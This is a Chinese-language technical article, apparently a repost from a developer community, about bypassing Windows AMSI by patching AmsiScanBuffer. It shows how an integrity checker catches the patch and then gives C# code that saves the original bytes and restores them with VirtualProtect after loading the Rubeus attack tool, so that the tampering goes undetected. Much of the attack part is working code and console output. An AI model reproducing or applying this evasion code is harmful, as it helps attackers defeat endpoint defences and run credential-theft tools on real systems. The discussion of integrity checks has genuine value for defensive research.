该过程涉及:
在这发生之后,这个过程对于不经意的观察者来说看起来并没有什么不同。由于我们只更改了地址空间中可能的数十万个字节中的约 6 个字节,因此它被看到的可能性有多大?
执行用户态 DLL 注入的防御性产品(例如 EDR)可以对模块代码的敏感部分执行完整性检查。因此,如果某些内容已更改并且当时没有被捕获(可能通过使用syscalls),则可以在事后检测到(假设进程仍然存在)并随后发出警报。
这在某种程度上取决于攻击性工具的相关性。例如,Cobalt Strike 的 Beacon 对其许多 post-ex 命令使用 fork and run 模式。它将产生一个临时进程,向其中注入 post-ex 功能,通过命名管道获取结果,然后终止该进程。如果该 post-ex 功能执行诸如修补 AmsiScanBuffer 之类的操作,它可能不会存在足够长的时间来真正担心完整性检查。Covenant 的 Grunt 等其他工具会在其内部执行所有操作——因此只要植入物还活着,这些对其内存的修改就会持续存在。
考虑以下:
static void Main(string[] args)
{
var amsi = new AmsiBypass();
// Bypass AMSI
amsi.Execute();
// Load Rubeus
var rubeus = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");
var asm = Assembly.Load(rubeus);
asm.EntryPoint?.Invoke(null, new object[]{ Array.Empty<string>() });
}
绕过允许我们加载 Rubeus 并执行我们想要的任何方法。都好。
但是,如果我们在这个过程中对 AmsiScanBuffer 进行完整性检查,我们可以推断它确实被篡改了。
PS C:\Users\Daniel\source\repos\IntegrityDemo\MonitorApp> dotnet run 22664
========================
AmsiScanBuffer Checker
========================
Target Process: MaliciousApp
AmsiScanBuffer: 0x7FFE26AA0000
AmsiScanBuffer tamper detected!
从概念上讲,它的操作非常简单:
如果数组不匹配,则该函数已在进程的内存中(或不太可能的文件中)发生更改。
从防御的角度来看,这种方法有一些明显的缺点——我们只检查 AmsiScanBuffer 而没有检查其他导出的函数;并且只有函数的前 10 个字节。然而,根据我的经验,大多数人只会复制/粘贴他们在互联网上找到的绕过*咳咳*,所以这是一个很好的简单的果实。
如果我们想改进绕过,我们可以复制原始 AmsiScanBuffer 字节,然后在我们执行了我们想要的恶意内容后恢复它们。
这可能看起来像这样:
public void Execute()
{
// Load amsi.dll and get location of AmsiScanBuffer
var lib = LoadLibrary("amsi.dll");
_asbLocation = GetProcAddress(lib, "AmsiScanBuffer");
var patch = GetPatch;
// Take a backup of AmsiScanBuffer bytes
_backup = new byte[patch.Length];
Marshal.Copy(_asbLocation, _backup, 0, patch.Length);
// Set region to RWX
// Copy patch
// Restore region to RX
}
然后实现一个将原始字节复制回来的恢复方法:
public void Restore()
{
// Set region to RWX
_ = VirtualProtect(_asbLocation, (UIntPtr)_backup.Length, 0x40, out uint oldProtect);
// Copy bytes back
Marshal.Copy(_backup, 0, _asbLocation, _backup.Length);
// Restore region to RX
_ = VirtualProtect(_asbLocation, (UIntPtr)_backup.Length, oldProtect, out uint _);
}
然后在我们的恶意应用程序中:
static void Main(string[] args)
{
var amsi = new AmsiBypass();
// Bypass AMSI
amsi.Execute();
// Load Rubeus
var rubeus = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");
var asm = Assembly.Load(rubeus);
asm.EntryPoint?.Invoke(null, new object[]{ Array.Empty<string>() });
// Restore AMSI
amsi.Restore();
}
PS C:\Users\Daniel\source\repos\IntegrityDemo\MonitorApp> dotnet run 22516
========================
AmsiScanBuffer Checker
========================
Target Process: MaliciousApp
AmsiScanBuffer: 0x7FFE26AA0000
AmsiScanBuffer is fine ¯\_(ツ)_/¯
Rubeus 仍然按预期执行,但是当对进程运行“检查”时,没有发现篡改。这种完整性检查方法可能仅在它碰巧在执行绕过和恢复字节之间的狭窄时间范围内运行时才有效。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。